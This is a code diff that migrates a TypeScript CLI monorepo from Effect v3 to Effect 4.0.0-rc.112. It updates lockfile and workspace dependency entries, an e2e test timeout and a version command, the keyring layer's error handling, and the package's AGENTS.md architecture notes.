7489 - '@effect/cluster': 0.60.2(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)
7490 - '@effect/platform': 0.97.1(effect@3.22.1)
7491 - '@effect/platform-node-shared': 0.61.1(@effect/cluster@0.60.2(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)
7492 - '@effect/rpc': 0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7493 - '@effect/sql': 0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7494 - effect: 3.22.1
7495 - multipasta: 0.2.8
7254 + '@effect/platform-node-shared': 4.0.0-rc.112(effect@4.0.0-rc.112)
7255 + effect: 4.0.0-rc.112
7256 transitivePeerDependencies:
7257 - bufferutil
7258 - utf-8-validate
7259
7500 - '@effect/platform-node-shared@0.61.1(@effect/cluster@0.60.2(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)':
7260 + '@effect/platform-node-shared@4.0.0-rc.112(effect@4.0.0-rc.112)':
7261 dependencies:
7502 - '@effect/cluster': 0.60.2(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)
7503 - '@effect/platform': 0.97.1(effect@3.22.1)
7504 - '@effect/rpc': 0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7505 - '@effect/sql': 0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7506 - '@parcel/watcher': 2.6.0
7507 - effect: 3.22.1
7508 - multipasta: 0.2.8
7262 + '@types/ws': 8.18.1
7263 + effect: 4.0.0-rc.112
7264 ws: 8.21.3
7265 transitivePeerDependencies:
7266 - bufferutil
7267 - utf-8-validate
7268
7514 - '@effect/platform@0.97.1(effect@3.22.1)':
7515 - dependencies:
7516 - effect: 3.22.1
7517 - find-my-way-ts: 0.1.6
7518 - msgpackr: 1.12.1
7519 - multipasta: 0.2.8
7520 -
7521 - '@effect/printer-ansi@0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1)':
7269 + '@effect/vitest@4.0.0-rc.112(effect@4.0.0-rc.112)(vitest@4.1.11)':
7270 dependencies:
7523 - '@effect/printer': 0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1)
7524 - '@effect/typeclass': 0.41.0(effect@3.22.1)
7525 - effect: 3.22.1
7526 -
7527 - '@effect/printer@0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1)':
7528 - dependencies:
7529 - '@effect/typeclass': 0.41.0(effect@3.22.1)
7530 - effect: 3.22.1
7531 -
7532 - '@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)':
7533 - dependencies:
7534 - '@effect/platform': 0.97.1(effect@3.22.1)
7535 - effect: 3.22.1
7536 - msgpackr: 1.12.1
7537 -
7538 - '@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)':
7539 - dependencies:
7540 - '@effect/experimental': 0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7541 - '@effect/platform': 0.97.1(effect@3.22.1)
7542 - effect: 3.22.1
7543 - uuid: 11.1.1
7544 -
7545 - '@effect/typeclass@0.41.0(effect@3.22.1)':
7546 - dependencies:
7547 - effect: 3.22.1
7548 -
7549 - '@effect/vitest@0.30.0(effect@3.22.1)(vitest@4.1.11)':
7550 - dependencies:
7551 - effect: 3.22.1
7271 + effect: 4.0.0-rc.112
7272 vitest: 4.1.11(@opentelemetry/api@1.9.1)(@types/node@26.4.1)(@vitest/ui@4.1.11)(vite@7.3.5(@types/node@26.4.1)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.0))
7273
7554 - '@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)':
7555 - dependencies:
7556 - '@effect/experimental': 0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7557 - '@effect/platform': 0.97.1(effect@3.22.1)
7558 - '@effect/rpc': 0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7559 - effect: 3.22.1
7560 -
7274 '@emnapi/core@1.11.2':
7275 dependencies:
7276 '@emnapi/wasi-threads': 1.2.2
@@ -8532,62 +8245,6 @@ snapshots:
8245 '@oxlint/binding-win32-x64-msvc@1.81.0':
8246 optional: true
8247
8535 - '@parcel/watcher-android-arm64@2.6.0':
8536 - optional: true
8537 -
8538 - '@parcel/watcher-darwin-arm64@2.6.0':
8539 - optional: true
8540 -
8541 - '@parcel/watcher-darwin-x64@2.6.0':
8542 - optional: true
8543 -
8544 - '@parcel/watcher-freebsd-x64@2.6.0':
8545 - optional: true
8546 -
8547 - '@parcel/watcher-linux-arm-glibc@2.6.0':
8548 - optional: true
8549 -
8550 - '@parcel/watcher-linux-arm-musl@2.6.0':
8551 - optional: true
8552 -
8553 - '@parcel/watcher-linux-arm64-glibc@2.6.0':
8554 - optional: true
8555 -
8556 - '@parcel/watcher-linux-arm64-musl@2.6.0':
8557 - optional: true
8558 -
8559 - '@parcel/watcher-linux-x64-glibc@2.6.0':
8560 - optional: true
8561 -
8562 - '@parcel/watcher-linux-x64-musl@2.6.0':
8563 - optional: true
8564 -
8565 - '@parcel/watcher-win32-arm64@2.6.0':
8566 - optional: true
8567 -
8568 - '@parcel/watcher-win32-x64@2.6.0':
8569 - optional: true
8570 -
8571 - '@parcel/watcher@2.6.0':
8572 - dependencies:
8573 - detect-libc: 2.1.2
8574 - is-glob: 4.0.3
8575 - node-addon-api: 7.1.1
8576 - picomatch: 4.0.7
8577 - optionalDependencies:
8578 - '@parcel/watcher-android-arm64': 2.6.0
8579 - '@parcel/watcher-darwin-arm64': 2.6.0
8580 - '@parcel/watcher-darwin-x64': 2.6.0
8581 - '@parcel/watcher-freebsd-x64': 2.6.0
8582 - '@parcel/watcher-linux-arm-glibc': 2.6.0
8583 - '@parcel/watcher-linux-arm-musl': 2.6.0
8584 - '@parcel/watcher-linux-arm64-glibc': 2.6.0
8585 - '@parcel/watcher-linux-arm64-musl': 2.6.0
8586 - '@parcel/watcher-linux-x64-glibc': 2.6.0
8587 - '@parcel/watcher-linux-x64-musl': 2.6.0
8588 - '@parcel/watcher-win32-arm64': 2.6.0
8589 - '@parcel/watcher-win32-x64': 2.6.0
8590 -
8248 '@pnpm/deps.graph-sequencer@1100.0.1': {}
8249
8250 '@polka/url@1.0.0-next.29': {}
@@ -9588,10 +9245,10 @@ snapshots:
9245
9246 ee-first@1.1.1: {}
9247
9591 - effect@3.22.1:
9248 + effect@4.0.0-rc.112:
9249 dependencies:
9593 - '@standard-schema/spec': 1.1.0
9594 - fast-check: 3.23.2
9250 + fast-check: 4.9.0
9251 + msgpackr: 2.1.0
9252
9253 emoji-regex@8.0.0: {}
9254
@@ -9770,10 +9427,6 @@ snapshots:
9427 transitivePeerDependencies:
9428 - supports-color
9429
9773 - fast-check@3.23.2:
9774 - dependencies:
9775 - pure-rand: 6.1.0
9776 -
9430 fast-check@4.9.0:
9431 dependencies:
9432 pure-rand: 8.4.2
@@ -9828,8 +9481,6 @@ snapshots:
9481 transitivePeerDependencies:
9482 - supports-color
9483
9831 - find-my-way-ts@0.1.6: {}
9832 -
9484 flatted@3.4.4: {}
9485
9486 formdata-polyfill@4.0.10:
@@ -10011,8 +9662,6 @@ snapshots:
9662
9663 inherits@2.0.4: {}
9664
10014 - ini@4.1.3: {}
10015 -
9665 ip-address@10.5.0: {}
9666
9667 ipaddr.js@1.9.1: {}
@@ -10021,16 +9670,10 @@ snapshots:
9670
9671 is-extendable@0.1.1: {}
9672
10024 - is-extglob@2.1.1: {}
10025 -
9673 is-fs-case-sensitive@2.0.0: {}
9674
9675 is-fullwidth-code-point@3.0.0: {}
9676
10030 - is-glob@4.0.3:
10031 - dependencies:
10032 - is-extglob: 2.1.1
10033 -
9677 is-in-ssh@1.0.0: {}
9678
9679 is-inside-container@1.0.0:
@@ -10120,8 +9763,6 @@ snapshots:
9763
9764 kleur@4.1.5: {}
9765
10123 - kubernetes-types@1.30.0: {}
10124 -
9766 langchain@1.5.10(@langchain/core@1.2.9(@opentelemetry/api@1.9.1)(openai@7.10.0(@aws-sdk/credential-provider-node@3.972.78)(@smithy/signature-v4@5.6.12)(undici@6.28.0)(ws@8.21.3)(zod@4.5.4))(ws@8.21.3))(@opentelemetry/api@1.9.1)(openai@7.10.0(@aws-sdk/credential-provider-node@3.972.78)(@smithy/signature-v4@5.6.12)(undici@6.28.0)(ws@8.21.3)(zod@4.5.4))(ws@8.21.3):
9767 dependencies:
9768 '@langchain/core': 1.2.9(@opentelemetry/api@1.9.1)(openai@7.10.0(@aws-sdk/credential-provider-node@3.972.78)(@smithy/signature-v4@5.6.12)(undici@6.28.0)(ws@8.21.3)(zod@4.5.4))(ws@8.21.3)
@@ -10595,12 +10236,10 @@ snapshots:
10236 '@msgpackr-extract/msgpackr-extract-win32-x64': 3.0.4
10237 optional: true
10238
10598 - msgpackr@1.12.1:
10239 + msgpackr@2.1.0:
10240 optionalDependencies:
10241 msgpackr-extract: 3.0.4
10242
10602 - multipasta@0.2.8: {}
10603 -
10243 mustache@4.2.0: {}
10244
10245 mz@2.7.0:
@@ -10633,8 +10272,6 @@ snapshots:
10272 unenv: 2.0.0-rc.24
10273 unstorage: 2.0.0-alpha.10
10274
10636 - node-addon-api@7.1.1: {}
10637 -
10275 node-addon-api@8.9.2: {}
10276
10277 node-domexception@1.0.0: {}
@@ -10907,8 +10544,6 @@ snapshots:
10544
10545 punycode.js@2.3.1: {}
10546
10910 - pure-rand@6.1.0: {}
10911 -
10547 pure-rand@8.4.2: {}
10548
10549 pusher-js@8.6.0:
@@ -11324,8 +10959,6 @@ snapshots:
10959
10960 tokenx@1.3.0: {}
10961
11327 - toml@4.3.0: {}
11328 -
10962 totalist@3.0.1: {}
10963
10964 tree-kill@1.2.2: {}
pnpm-workspace.yaml
+3 -11
@@ -36,12 +36,9 @@ catalog:
36 '@cloudflare/vitest-pool-workers': 0.22.0
37 '@cloudflare/workers-types': ^5.20260905.1
38 '@composio/client': 0.1.0-alpha.76
39 - '@effect/cli': ^0.77.0
39 '@effect/language-service': ^0.87.2
41 - '@effect/platform': ^0.97.1
42 - '@effect/platform-bun': ^0.91.2
43 - '@effect/platform-node': ^0.108.0
44 - '@effect/vitest': ^0.30.0
40 + '@effect/platform-bun': 4.0.0-rc.112
41 + '@effect/vitest': 4.0.0-rc.112
42 # Bisected against ts/examples/mastra's `cf:dry-run`: 1.54.0 moved the
43 # workspace/sandbox subsystem behind `@mastra/core/agent`, which drags execa
44 # (-> npm-run-path -> unicorn-magic) into the Workers bundle and fails to
@@ -51,7 +48,7 @@ catalog:
48 '@types/bun': ^1.4.1
49 ai: ^7.0.93
50 dotenv: ^17.4.2
54 - effect: ^3.22.1
51 + effect: 4.0.0-rc.112
52 hono: ^4.13.7
53 openai: ^7.10.0
54 picocolors: ^1.1.1
@@ -106,11 +103,6 @@ overrides:
103 # GHSA-x5fp-wj9c-mxmx and GHSA-4mjr-xmp4-gh2g; express pulls the 6.15.x line.
104 # Drop when its lockfile resolution is >=6.16.0 without an override.
105 'qs@<6.16.0': '>=6.16.0 <7'
109 - # temporary: GHSA-82x6-q7mm-w9cf (uncontrolled recursion) and
110 - # GHSA-v5mp-jgw5-2x6j (prototype pollution) are patched only in the 4.x line,
111 - # but @effect/cli still depends on toml ^3.0.0. It calls nothing but
112 - # `Toml.parse`, which 4.x keeps. Drop when @effect/cli depends on >=4.2.0.
113 - 'toml@<4.2.0': '>=4.2.0 <5'
106 protobufjs: 7.6.5
107 # temporary: @zed-industries/claude-code-acp@0.16.2 (latest) exact-pins vulnerable 10.2.1; drop when it ships >=10.2.3
108 'minimatch@>=10.0.0 <10.2.3': '>=10.2.3 <11'
ts/e2e-tests/_utils/src/runner.ts
+14 -3
@@ -808,6 +808,17 @@ function renderCliVersionMeta({ kind, value }: CliVersionMeta): string {
808 // Main test runner
809 // ============================================================================
810
811 +/**
812 + * Timeout for the beforeAll hook that ensures a runtime Docker image exists.
813 + *
814 + * CI pre-builds these images in a dedicated workflow step, so this hook
815 + * normally only runs `docker image inspect`. Locally, however, a cold
816 + * `docker build` (apt, toolchain bootstrap, full pnpm install inside the
817 + * image) can take well over ten minutes on a slow network, so the ceiling
818 + * must accommodate a from-scratch build.
819 + */
820 +const IMAGE_ENSURE_TIMEOUT_MS = 1_200_000;
821 +
822 /**
823 * Runs e2e tests using bun:test.
824 * Creates a describe block per runtime version and passes test utilities to defineTests.
@@ -880,7 +891,7 @@ export function runE2E(config: RunE2EInternalConfig): void {
891 beforeAll(async () => {
892 const imageTag = await ensureNodeImage(nodeVersionMeta.value, { repoRoot });
893 executors = createNodeDockerExecutors(config, nodeVersionMeta.value, imageTag, repoRoot, logManager);
883 - }, 600_000);
894 + }, IMAGE_ENSURE_TIMEOUT_MS);
895
896 defineTests({
897 runtime: 'node',
@@ -924,7 +935,7 @@ export function runE2E(config: RunE2EInternalConfig): void {
935 beforeAll(async () => {
936 const imageTag = await ensureDenoImage(denoVersionMeta.value, { repoRoot });
937 executors = createDenoDockerExecutors(config, denoVersionMeta.value, imageTag, repoRoot, logManager);
927 - }, 600_000);
938 + }, IMAGE_ENSURE_TIMEOUT_MS);
939
940 defineTests({
941 runtime: 'deno',
@@ -968,7 +979,7 @@ export function runE2E(config: RunE2EInternalConfig): void {
979 beforeAll(async () => {
980 const imageTag = await ensureCliImage(cliVersionMeta.value, { repoRoot });
981 executors = createCliDockerExecutors(config, cliVersionMeta.value, imageTag, repoRoot, logManager);
971 - }, 600_000);
982 + }, IMAGE_ENSURE_TIMEOUT_MS);
983
984 defineTests({
985 runtime: 'cli',
ts/e2e-tests/cli/setup-plugins/e2e.test.ts
+2 -2
@@ -21,7 +21,7 @@ ${
21 # skill asset download and extraction path has deterministic HTTP/ZIP coverage.
22 mkdir -p /tmp/.claude/skills /tmp/.agents/skills/composio-cli
23 printf '%s\n' '# composio-cli' > /tmp/.agents/skills/composio-cli/SKILL.md
24 -printf '@composio/cli@%s\n' "$(composio --version)" > /tmp/.agents/skills/composio-cli/.composio-release-tag
24 +printf '@composio/cli@%s\n' "$(composio version)" > /tmp/.agents/skills/composio-cli/.composio-release-tag
25 ln -s ../../.agents/skills/composio-cli /tmp/.claude/skills/composio-cli`
26 : ''
27 }
@@ -78,7 +78,7 @@ chmod +x /tmp/bin/claude /tmp/bin/codex
78 touch /tmp/host-state/codex-without-json
79 mkdir -p /tmp/.claude/skills /tmp/.agents/skills/composio-cli
80 printf '%s\n' '# composio-cli' > /tmp/.agents/skills/composio-cli/SKILL.md
81 -printf '@composio/cli@%s\n' "$(composio --version)" > /tmp/.agents/skills/composio-cli/.composio-release-tag
81 +printf '@composio/cli@%s\n' "$(composio version)" > /tmp/.agents/skills/composio-cli/.composio-release-tag
82 ln -s ../../.agents/skills/composio-cli /tmp/.claude/skills/composio-cli
83 export HOST_STATE_DIR=/tmp/host-state
84 export PATH=/tmp/bin:$PATH
ts/packages/cli-keyring/package.json
+1 -1
@@ -56,7 +56,7 @@
56 "vitest": "catalog:"
57 },
58 "peerDependencies": {
59 - "effect": ">=3.17.0"
59 + "effect": "4.0.0-rc.112"
60 },
61 "peerDependenciesMeta": {
62 "effect": {
ts/packages/cli-keyring/src/effect.ts
+40 -20
@@ -26,7 +26,7 @@
26
27 import { Context, Effect, Layer } from 'effect';
28 import { Entry } from './core/entry';
29 -import type { KeyringError } from './core/errors';
29 +import { KeyringError } from './core/errors';
30 import { createDefaultStore, type MacOSBackend } from './index';
31 import { type CredentialStore, type EntryModifiers, setDefaultStore } from './core/store';
32
@@ -86,10 +86,9 @@ export interface KeyringServiceShape {
86 * Context tag. Resolve with `yield* KeyringService` inside an
87 * `Effect.gen` block.
88 */
89 -export class KeyringService extends Context.Tag('composio/cli-keyring/KeyringService')<
90 - KeyringService,
91 - KeyringServiceShape
92 ->() {}
89 +export class KeyringService extends Context.Service<KeyringService, KeyringServiceShape>()(
90 + 'composio/cli-keyring/KeyringService'
91 +) {}
92
93 /**
94 * Build a `KeyringServiceShape` from a concrete `CredentialStore`.
@@ -151,32 +150,53 @@ export function makeKeyringService(store: CredentialStore): KeyringServiceShape
150 * macOS FFI backend is dynamically imported — it must stay out of the
151 * Node bundle so `bun:ffi` doesn't crash at module load. The extra
152 * layer-build cost is a one-shot `import()` per process.
153 + *
154 + * Construction is fallible — the backend choice can fail to load its
155 + * binary or spawn its subprocess — so the layer's error channel carries
156 + * `KeyringError` instead of dying as a defect. (`KeyringLive` is
157 + * `KeyringLiveWithBackend('auto')`.)
158 */
155 -export const KeyringLive: Layer.Layer<KeyringService> = Layer.effect(
159 +export const KeyringLive: Layer.Layer<KeyringService, KeyringError> = Layer.effect(
160 KeyringService,
157 - Effect.promise(async () => {
158 - const store = await createDefaultStore();
159 - setDefaultStore(store);
160 - return makeKeyringService(store);
161 - })
161 + buildKeyringService()
162 );
163
164 +/**
165 + * Build a `KeyringService` from a freshly constructed default store.
166 + *
167 + * Store construction is the one genuinely fallible promise in this
168 + * wrapper — `createDefaultStore` loads the macOS FFI backend or spawns
169 + * subprocesses — so it goes through `Effect.tryPromise` and surfaces a
170 + * typed `KeyringError` on the layer's error channel rather than an
171 + * `Effect.promise` defect. Non-`KeyringError` causes (e.g. a failed
172 + * dynamic `import()`) are normalized into a `PlatformFailure`.
173 + */
174 +function buildKeyringService(options?: { macOSBackend?: MacOSBackend }) {
175 + return Effect.tryPromise({
176 + try: async () => {
177 + const store = await createDefaultStore(options);
178 + setDefaultStore(store);
179 + return makeKeyringService(store);
180 + },
181 + catch: cause =>
182 + cause instanceof KeyringError ? cause : new KeyringError({ kind: 'PlatformFailure', cause }),
183 + });
184 +}
185 +
186 /**
187 * Build a `KeyringLive` layer with an explicit macOS backend choice.
188 * Use this instead of `KeyringLive` when the CLI lets the user pick
189 * between `subprocess` (safe default) and `ffi` (experimental,
190 * requires Developer ID signing). The `backend` parameter is
191 * ignored on Linux and other platforms.
192 + *
193 + * Fails with `KeyringError` if the store cannot be constructed — see
194 + * `buildKeyringService`.
195 */
171 -export const KeyringLiveWithBackend = (macOSBackend: MacOSBackend): Layer.Layer<KeyringService> =>
172 - Layer.effect(
173 - KeyringService,
174 - Effect.promise(async () => {
175 - const store = await createDefaultStore({ macOSBackend });
176 - setDefaultStore(store);
177 - return makeKeyringService(store);
178 - })
179 - );
196 +export const KeyringLiveWithBackend = (
197 + macOSBackend: MacOSBackend
198 +): Layer.Layer<KeyringService, KeyringError> =>
199 + Layer.effect(KeyringService, buildKeyringService({ macOSBackend }));
200
201 /** Layer built from an explicit store — used by tests. */
202 export const KeyringLayer = (store: CredentialStore): Layer.Layer<KeyringService> =>
ts/packages/cli/AGENTS.md
+32 -27
@@ -12,22 +12,24 @@ This package pins its `typescript` dependency to TypeScript 6 (`catalog:ts6` in
12
13 The CLI is built on the **Effect.ts ecosystem** and runs on **Bun**. Service-oriented architecture with dependency injection via Effect layers, generator-based control flow (`Effect.gen`), and structured error handling.
14
15 -### Entry Point — `src/bin.ts`
15 +### Entry Point — `src/bin.ts` / `src/cli-main.ts`
16
17 -Bootstraps the CLI by composing Effect layers and running the root command via `BunRuntime.runMain()`:
17 +`bin.ts` is a thin bootstrap: it strips the internal `--telemetry-debug` flag, routes background-worker invocations (analytics dispatch) through a minimal layer set, and otherwise dynamically imports `cli-main.ts`, which composes the full Effect layer stack and drives the root command through `effect/unstable/cli`'s `Command.runWith`, run via `BunRuntime.runMain()`. Key layers (see `cli-main.ts` for the complete list):
18
19 -- `CliConfigLive` — @effect/cli behavior (case-sensitive, no auto-correct, no built-ins)
19 +- `CliConfigLive` — `effect/unstable/cli` `CliConfig` restricted to `builtIns: [GlobalFlag.Help]` (see Configuration below); the only `CliConfig` customization Composio makes — no custom `CliOutput.Formatter` is provided, so `Command.runWith` renders help and parse errors with v4's own defaults
20 - `ComposioUserContextLive` — User authentication state from `~/.composio/`
21 - `ComposioSessionRepositoryLive` — OAuth2 session management
22 - `ComposioToolkitsRepositoryCachedLive` — Cached API client for toolkits/tools
23 - `UpgradeBinaryLive` — Self-update from GitHub releases
24 -- `BunFileSystem.layer`, `BunContext.layer` — Bun runtime integration
24 +- `BunFileSystem.layer`, `BunPath.layer`, `BunServices.layer`, `FetchHttpClient.layer` — Bun runtime integration (`@effect/platform-bun`'s `BunContext` no longer exists in v4; `BunServices.layer` is the aggregate replacement)
25 +
26 +`Command.runWith` renders help text and parse/validation errors itself (to the right stream) before re-failing with `CliError.ShowHelp`, which carries `[Runtime.errorReported] = false` (suppresses `runMain`'s automatic error log) and `[Runtime.errorExitCode]` (0 for a bare `--help`, 1 alongside parse errors). `cli-main.ts`'s sandboxed catch-all re-fails `ShowHelp` with its original `Cause` via `Effect.failCause` instead of swallowing it, and its custom `teardown` reads `Runtime.getErrorExitCode` off the squashed failure — so this module never prints for `ShowHelp`, it just lets the error's own contract drive `runMain`. See the module docstring at the top of `cli-main.ts` for the full rationale (argv-prefix contract with `src/commands/index.ts` included).
27
28 Errors are captured via the custom `effect-errors/` module (source-mapped stack traces, Effect span timelines, formatted output).
29
30 ### Commands — `src/commands/`
31
30 -Each command uses `@effect/cli`'s `Command.make()` pattern. Top-level command files end in `.cmd.ts`; nested command groups live in their own subdirectory with a `<group>.cmd.ts` entry. Current top-level commands:
32 +Each command uses `effect/unstable/cli`'s `Command.make()` pattern. Top-level command files end in `.cmd.ts`; nested command groups live in their own subdirectory with a `<group>.cmd.ts` entry. Current top-level commands:
33
34 | Group / Command | Purpose |
35 | -------------------- | -------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------- |
@@ -58,7 +60,7 @@ Each command uses `@effect/cli`'s `Command.make()` pattern. Top-level command fi
60 | `dev` | Developer-only utilities |
61 | `artifacts` | Manage generated artifacts |
62
61 -Options use `Options.text()`, `Options.boolean()`, `Options.choice()`, `Options.directory()` with Effect Schema validation. Feature flags live in `feature-tags.ts` and `experimental-features.ts`.
63 +Named options use `Flag.string()`, `Flag.boolean()`, `Flag.integer()`, `Flag.choice()`, `Flag.directory()` (from `effect/unstable/cli`); positionals use `Argument.string()` / `Argument.variadic()`. Both share `.withDefault`/`.withDescription`/`.withAlias`/`.optional` combinators. Feature flags live in `feature-tags.ts` and `experimental-features.ts`.
64
65 ### Services — `src/services/`
66
@@ -72,7 +74,7 @@ Options use `Options.text()`, `Options.boolean()`, `Options.choice()`, `Options.
74 | `JsPackageManagerDetector` | Detects npm/pnpm/yarn/bun for install instructions |
75 | `UpgradeBinary` | Fetches latest release from GitHub, downloads and replaces binary |
76
75 -Services are `Context.Tag` classes that export a `<Name>Shape` type and an explicit `static readonly Default` layer (`Layer.effect` / `Layer.sync`, dependencies provided with `Layer.provide`). Build a test double with `Service.of({ ... })`; there are no generated accessors or constructors.
77 +Services are `Context.Service` classes that export a `<Name>Shape` type and an explicit `static readonly Default` layer (`Layer.effect` / `Layer.sync`, dependencies provided with `Layer.provide`). Build a test double with `Service.of({ ... })`; there are no generated accessors or constructors.
78
79 OS credential storage uses the sibling package `@composio/cli-keyring` (macOS Keychain / Linux Secret Service).
80
@@ -97,14 +99,14 @@ Pipeline for `composio generate {ts,py}`:
99
100 ### Configuration
101
100 -- CLI: `cli-config.ts` — `showBuiltIns: false`, `autoCorrectLimit: 0`, `isCaseSensitive: true`
102 +- CLI: `cli-config.ts` defines `ComposioCliConfig` (`builtIns: [GlobalFlag.Help]`, `effect/unstable/cli`'s `CliConfig.Service` shrank to just that one field in v4) — the only `CliConfig` customization Composio makes, wired into `cli-main.ts`'s layer stack as `CliConfigLive`. v3's `autoCorrectLimit`/`isCaseSensitive` have no v4 config equivalent, and neither is reproduced anymore: "Did you mean?" suggestions on `UnrecognizedOption`/`UnknownSubcommand` now render as v4's parser always computes them (no config knob exists to disable them, and Composio wants them), and v4's parser performs no case-folding at all, so case-sensitivity needs no knob. `cli-main.ts` provides no custom `CliOutput.Formatter` — `Command.runWith` uses v4's own `CliOutput.defaultFormatter()`. `GlobalFlag.Version` is deliberately not enabled: `composio --version`, `composio -v`, and the `composio version` command all print the same bare `pkg.version` via `ui.output()`, because `src/commands/index.ts` rewrites the flag spellings to the `version` command before parsing (`normalizeVersionFlag`).
103 - Constants: `constants.ts` — env prefixes (`COMPOSIO_`, `DEBUG_OVERRIDE_`)
104 - User config: `~/.composio/user-config.json`
105 - Cache files: `toolkits.json`, `tools.json`, `tools-as-enums.json`, `trigger-types.json`
106
107 ### Key Dependencies
108
107 -`effect`, `@effect/cli`, `@effect/platform`, `@effect/platform-bun`, `@clack/prompts` (terminal UI — stderr by default), `picocolors`, `@composio/client` (Composio API), `@composio/core` (types), `@composio/ts-builders` (AST gen), `@composio/cli-keyring` (OS credential store), `@composio/cli-local-tools` (local toolkit defs), `semver`, `open`, `decompress`.
109 +`effect` (pinned `4.0.0-rc.112`; `@effect/cli` and `@effect/platform` no longer exist as separate packages — folded into `effect`'s barrel and `effect/unstable/{cli,http,process}`), `@effect/platform-bun`, `@effect/vitest` (same exact pin), `@clack/prompts` (terminal UI — stderr by default), `picocolors`, `@composio/client` (Composio API), `@composio/core` (types), `@composio/ts-builders` (AST gen), `@composio/cli-keyring` (OS credential store), `@composio/cli-local-tools` (local toolkit defs), `@composio/json-schema-to-effect-schema`, `semver`, `open`, `extract-zip`.
110
111 ## Output Conventions: Composable CLI Output
112
@@ -161,33 +163,33 @@ Each `Arr.bind` adds one independent axis to the generated cases.
163
164 ### Effect safety and migration seams
165
164 -- Never branch on an Effect value's internal tag field directly. Use the owning module's public refinement or matcher (`Option`, `Either`, `Exit`, `Cause`, `ValidationError`), `Match.valueTags` for exhaustive unions, or `Predicate.isTagged` for a single narrowing guard.
166 +- Never branch on an Effect value's internal tag field directly. Use the owning module's public refinement or matcher (`Option`, `Result`, `Exit`, `Cause`, `CliError`), `Match.valueTags` for exhaustive unions, or `Predicate.isTagged` for a single narrowing guard.
167 - Do not wrap a plain `Error` in `Effect.fail` for expected failures. Give the failure a meaningful `Data.TaggedError` type with structured fields and a preserved cause, then recover with `catchTag` / `catchTags`. Reserve `Effect.die` and `Effect.dieMessage` for impossible invariants.
